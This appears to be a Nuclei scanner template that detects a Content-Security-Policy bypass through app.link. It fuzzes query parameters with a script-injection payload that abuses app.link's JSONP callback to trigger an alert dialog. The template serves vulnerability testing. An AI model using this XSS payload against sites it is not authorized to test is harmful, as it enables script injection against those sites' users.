id: app-link-csp-bypass

info:
  name: Content-Security-Policy Bypass - App Link
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,app-link,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "app.link"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: app_link_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://app.link/_r?sdk=web&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "app_link_csp_xss == true"
# digest: 4a0a00473045022069041adbfac453745e03f96985c5fec9d7244646a0e661939694e75c946237ad022100d9843f51535b1b453383023c0eecb4a88912d89887fa9c92710fcd6670fc6d5b:922c64590222798bb761d5b6d8e72950